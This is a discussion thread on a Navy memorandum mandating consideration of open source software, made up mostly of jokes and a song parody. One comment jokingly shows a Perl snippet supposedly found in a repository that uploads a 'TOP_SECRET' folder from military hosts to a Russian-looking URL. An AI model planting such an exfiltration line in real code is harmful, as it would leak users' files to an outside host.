Navy Now Mandated To Consider FOSS As an Option

lisah writes "In a memorandum handed down from Department of the Navy CIO John Carey this week, the Navy is now mandated to consider open source solutions when making new software acquisitions. According John Weathersby, executive director of the Open Source Software Institute, this is the first in a series of documents that will also address 'development and distribution issues regarding open source within Navy IT environments.'"

Inconceivable!

[theTrueMikeBrown]

The government saving money?

I am speechless.

Sing with me

[niceone]

In the navy
Yes, you can sail the gcc's
In the navy
Yes, you can open source with ease
In the navy
Come on now, people, make && make install
In the navy, in the navy
... hmm I've kind of painted myself into a corner there...

Latest from Redmond

[Anonymous Coward]

I'm going to f***ing KILL the Navy!!!!

Finally!

[eln]

Maybe now someone will finally download (or, dare I say, contribute?) to my sourceforge project. It's an Open Source nuclear submarine guidance system forked from an early beta of GAIM. Still in alpha, and right now it's got a little bit of a bug where if you try to get the sub to surface it will occasionally launch all of its missiles, but it's still pretty usable.

Re:Sing with me

[drinkypoo]

... hmm I've kind of painted myself into a corner there...

I was going to say that you've painted yourself mauve, or possibly chartreuse.

Actions, Not Words!

[Nom du Keyboard]

now mandated to consider open source solutions

Talk about an arrangement of words that don't mean cr@p in the real world.

Navy: Yeah we thought about it. Considered it even. Then went back to what we've been doing all along. Only terrorists use FOSS. Microsoft told us so.

Nice chorus, but the orignial is well suited.

[twitter]

Finish your chorus with this and then fall back to the original lyrics [oldielyrics.com]:

They want GNU
They want GNU
They want you as a GNU recruit

The original Lyrics:

Where can you find pleasure
Search the world for treasure
Learn science, technology
Where can you begin
To make your dreams all come true
On the land or on the sea
Where can you learn to fly
Play in sports or skindive
Study oceanography
Sign up for the big band
Or sit in the grand stand
When your team and others meet

If you like adventure
Don't you wait to enter
The recruiting office fast
Don't you hesitate,
There is no need to wait
They're signing up new seamen fast
Maybe you are too young to join up today
But don't you worry 'bout the thing
For I'm sure there will be
Always the good Navy
Protecting the land and sea

I'll stay away from the "signing up new seamen fast" part, but the learning and adventure part is probably more true in the free software world than it is on a boat and anything beats Bill Gates slave galleys. Pressing on with a few special mods for you WinDOS fanboys afraid of the plunge:

But, but, but
I'm afraid of Penguins
Hey, hey, look men
I get seasick
Even watching it on techTV
They Want GNU
Oh my goodness
They Want GNU
What am I gonna do in a GNU machine
They Want GNU
They Want GNU
In the Navy

In the Navy
Yes, you can apt-get with ease
In the Navy
Yes, that will put your mind at ease
In the Navy
There will be no blue screen disease
In the Navy
Can't you see we need a hand
In the Navy
Come on and share the source code
In the Navy
Come on and help your fellow man
In the Navy
Come on people and make a stand
In the Navy

Re:Finally!

[Anonymous Coward]

I tried but you claim not to support my hardware because the manufacturer won't release specs. Can you recommend a good nuclear first-strike-capable ballistic missile launch platform with free drivers?

Re:Is the tide turning?

[jimicus]

I dont think the navy will settle for:
"Man, this thing doesnt work"
"Uhhh, post a question on the fourm, and hope you hear back"


That is exactly why companies like IBM and RedHat exist.

Yeah but...

[TrappedByMyself]

If you thought it was hard finding ATI drivers, try finding nuclear sub drivers!

Re:Inconceivable!

[MillionthMonkey]

They're probably worried about terrorists having write access to open source CVS repositories. I saw this in SourceForge recently:

if ($hostname =~ m/.*\.mil/) {
    multiPartUpload("C:\\TOP_SECRET\\", "http://post.secrets.ru?param=suckers");
    explode() || die("The requested operation cannot be performed");
}

Re:Imagine Chinese say: GPL shows us your code NAV

[WhatAmIDoingHere]

"Stupid, stupid !!"

Were you summarizing your comment?